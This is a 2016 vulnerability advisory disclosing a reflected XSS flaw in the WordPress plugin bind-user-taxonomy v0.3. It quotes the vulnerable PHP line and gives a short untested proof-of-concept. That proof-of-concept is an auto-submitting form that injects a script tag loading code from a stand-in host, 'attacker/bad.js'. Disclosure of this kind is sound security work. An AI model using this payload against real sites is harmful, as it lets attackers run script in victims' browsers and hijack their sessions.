Advisory #: 1128
Title: Reflected XSS in wordpress plugin bind-user-taxonomy v0.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/bind-user-taxonomy
Downloads: 630
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: bind-user-taxonomy
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./bind-user-taxonomy/bind-user.php: 163: echo $_POST["user"][$i].'-'.$_POST["cat"][$i].'<br />'; The variable user appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./bind-user-taxonomy/bind-user.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3.  <form name=TheForm action=http://[target]/wp-content/plugins/bind-user-taxonomy/bind-user.php method=post> <input type=hidden name=user value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>